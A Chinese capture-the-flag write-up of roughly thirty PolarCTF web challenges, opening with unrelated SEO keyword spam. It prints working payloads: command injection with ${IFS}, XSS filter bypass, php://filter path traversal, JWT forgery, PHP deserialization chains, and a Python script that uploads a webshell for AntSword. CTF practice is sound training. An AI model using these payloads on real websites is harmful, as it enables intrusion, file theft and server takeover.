遵义网站开发培训,东莞互联网推广,在线制作头像框,给做网站建设的一些建议目录
swp
简单rce
蜜雪冰城吉警店
召唤神龙
seek flag
jwt
login
iphone
浮生日记
$$
爆破
XFF
rce1
GET-POST
被黑掉的站
签到题
签到
session文件包含
Dont touch me
robots
php very nice
ezupload
cookie欺骗
upload
干正则
co…目录
swp
简单rce
蜜雪冰城吉警店
召唤神龙
seek flag
jwt
login
iphone
浮生日记
$$
爆破
XFF
rce1
GET-POST
被黑掉的站
签到题
签到
session文件包含
Dont touch me
robots
php very nice
ezupload
cookie欺骗
upload
干正则
cool
uploader
覆盖
PHP反序列化初试
机器人 明天XYCTF开始今天干啥也不是过过签到八股吧。
swp 随手试试直接访问到/.index.php.swp 最大回溯上限绕过preg_match
import requestsurl http://c7800bea-2a12-428d-b1d0-f2272162efa4.www.polarctf.com:8090/
data {xdmtql: sys nbvery * 250000
}r requests.post(urlurl, datadata).text
print(r)
运行脚本拿到flag 简单rce 过滤了空格可以联想到用include直接包含/flag 蜜雪冰城吉警店 8个奶茶要找第9个
js有点难审调试比较牛马下断一直不中直接结果论吧改id为9 改前端点单成功 召唤神龙
进来是一个js小游戏但没有胜利条件啥的js关键词搜不出什么头绪
在main.js中看到一段很刺眼的jsfuck JSFuck 是一种 JavaScript 的混淆技术它可以将 JavaScript 代码转换成仅由六个字符组成的代码即 []()!。这种技术基于 JavaScript 语言的强大特性尤其是强制类型转换和 JavaScript 中的一些奇技淫巧。 CTF在线工具-在线JSfuck加密|在线JSfuck解密|JSfuck|JSfuck原理|JSfuck算法
成功解码拿到flag seek flag
访问/robots.txt拿到第三段flag 抓包在响应头处拿到flag2 注意到响应头setcookie让id0
本着叛逆的原则我们可以修改cookie让id为1成功拿到flag1 jwt 这个一眼垂直越权啊先注册一个普通用户然后jwt伪造成功以admin登录 JSON Web Tokens - jwt.io
jwt-cracker爆破出密钥为SYSA 然后jwt伪造 改cookie中的jwt然后再次访问 进入个人中心拿到flag login
f12看到注释知道学号密码都是20200101 然而只是回显登录成功 爆破后发现就是学号02-11的登录回显进行拼凑得到flag{dlcg} iphone 随便点下Enter 右键查看源码提示改UA 改UA为iphone即可拿到flag 浮生日记 title提示让我们弹个窗 测过无ssti结合题目名字合理可以想到js注入
发现替换了script为空然后赋值给value 显然可以先闭合value然后独立出一个script执行恶意代码
payload:
scrscriptiptalert(1)/scrscriptipt 点击确定后拿到flag $$ 直接$GLOBALS读全局变量就可
payload:
?cGLOBALS 爆破 if(substr($pass, 1,1)substr($pass, 14,1) substr($pass, 14,1) substr($pass, 17,1)){ ... }这行代码检查经过 MD5 加密后的字符串的特定位置的字符是否相同。具体地它检查字符串的第 2、15 和 18 个字符是否相同。如果这三个位置的字符相同则执行内部代码块。 if((intval(substr($pass, 1,1))intval(substr($pass, 14,1))substr($pass, 17,1))/substr($pass, 1,1)intval(substr($pass, 31,1))){ ... }这行代码对特定位置的字符进行处理并将它们转换为整数进行计算。具体地它计算字符串的第 2、15 和 18 个字符的整数值相加然后除以第 2 个字符的整数值并检查结果是否等于字符串的第 32 个字符的整数值。如果相等则执行内部代码块。 这个肯定不是啥php特性了只能如题所说爆破
2位就能爆出来 XFF 直接xff伪造ip即可 rce1 过滤空格用${IFS}绕过即可 ;tac${IFS}fllllaaag.php 右键查看源码拿到flag GET-POST 正常传参就行 被黑掉的站 提示站里还有马
扫出来index.php.bak和shell.php
访问index.php.bak就是给到一个字典 访问shell.php显然就是拿字典爆破 开爆就完了
拿到flag 签到题 承认是个弟弟但setcookie初始值为no 改didiyes发包 base64解码 访问/data/index.php 替换为空双写绕过即可
payload:
/data/index.php?filephp://filter/convert.base64-encode/resource..././..././..././..././flag base64解码即可 签到 把disabled删掉就可 弹窗 但提交后还是不行继续看前端
把maxlength改大即可 如下 session文件包含 发包看到响应头给了一个PHPSESSID
点击mydirectory回显如下 右键查看源码 似乎可以任意文件包含尝试读文件
base64解码 ?php
session_start();
error_reporting(0);
$name $_POST[name];
if($name){$_SESSION[username] $name;
}
include($_GET[file]);
?
!DOCTYPE html
html
head
/head
body
a hrefaction.php?file1.txtmy dairy/a
a hrefaction.php?file2.txtmy booklist/a
/body
/html
session_start()一般是给session反序列化用的这题考的不是反序列化
可以直接利用恶意session文件包含 笑死直接读环境变量的flag是假的只能读文件 Dont touch me
右键查看源码 访问/2.php 把bottom的disabled属性给删掉点击后跳转/3.php
右键查看源码 访问/fla.php拿到flag robots 访问/robots.txt 访问/fl0g.php拿到flag php very nice 这不直接喂到嘴边了
$anew Example();
$a-syssystem(tac f*);;
echo serialize($a); ezupload 改mime type为image/gif即可 连蚁剑拿flag cookie欺骗 cookie改useradmin即可 upload 随便上传一个php文件发现直接拿掉了后缀不对其作为php文件进行解析 回到初始界面右键查看源码 访问?actionshow_code拿到源码
$is_upload false;
$msg null;
if (isset($_POST[submit])) {if (file_exists(UPLOAD_PATH)) {$deny_ext array(php,php5,php4,php3,php2,html,htm,phtml,pht,jsp,jspa,jspx,jsw,jsv,jspf,jtml,asp,aspx,asa,asax,ascx,ashx,asmx,cer,swf,htaccess);$file_name trim($_FILES[upload_file][name]);$file_name str_ireplace($deny_ext,, $file_name);$temp_file $_FILES[upload_file][tmp_name];$img_path UPLOAD_PATH./.rand(10000,99999).$file_name; if (move_uploaded_file($temp_file, $img_path)) {$is_upload true;} else {$msg 上传出错;}} else {$msg UPLOAD_PATH . 文件夹不存在,请手工创建;}
} 替换为空直接双写绕过即可 可以看到成功上传php文件 连蚁剑拿flag 干正则 一眼一个变量覆盖然后flag.php的正则也形同虚设可以用通配之类的绕过
无回显的shell_exec也直接echo了
payload:
?ida[0]www.polarctf.comcmd;tac f* cool 系统命令执行函数没ban干净只能说
payload:
?apassthru(cat f*); uploader 这不就纯纯的无过滤文件上传还回显路径
用py写个文件上传脚本
import requestsurl http://ca32eb68-d654-4b69-a982-eaf7d23d5242.www.polarctf.com:8090/ # 替换成你的服务器地址files {file: open(D:\CTF\码\yjh3.php, rb)} # 将文件名替换为你想上传的文件response requests.post(url, filesfiles)if response.status_code 200:print(文件上传成功)print(服务器返回的消息:, response.text)
else:print(文件上传失败)print(错误码:, response.status_code) 拿到$sandbox和filename拼接得到文件路径
http://ca32eb68-d654-4b69-a982-eaf7d23d5242.www.polarctf.com:8090/d7c0fc90dc45cff7fac2064cf82a39a9/yjh3.php
连蚁剑拿flag 覆盖 和之前哪题好像一样的不解释了 payload:
?ida[0]www.polarctf.comcmd;tac f* PHP反序列化初试 一眼出链子 Easy.__wakeup - Evil.__toString 注意这里的shell_exec也是echo给了回显
exp:
?php
class Easy{public $name;
}
class Evil{public $evil;public $env;
}$bnew Evil();
$anew Easy();
$a-name$b;
$b-eviltac f*;
echo serialize($a);? 机器人 访问/robots.txt 访问/27f5e15b6af3223f1176293cd015771d/flag.php(因为这里Disallow的是一个目录所以猜测敏感文件在这个目录下) 拼接拿到flag 快速打完睡觉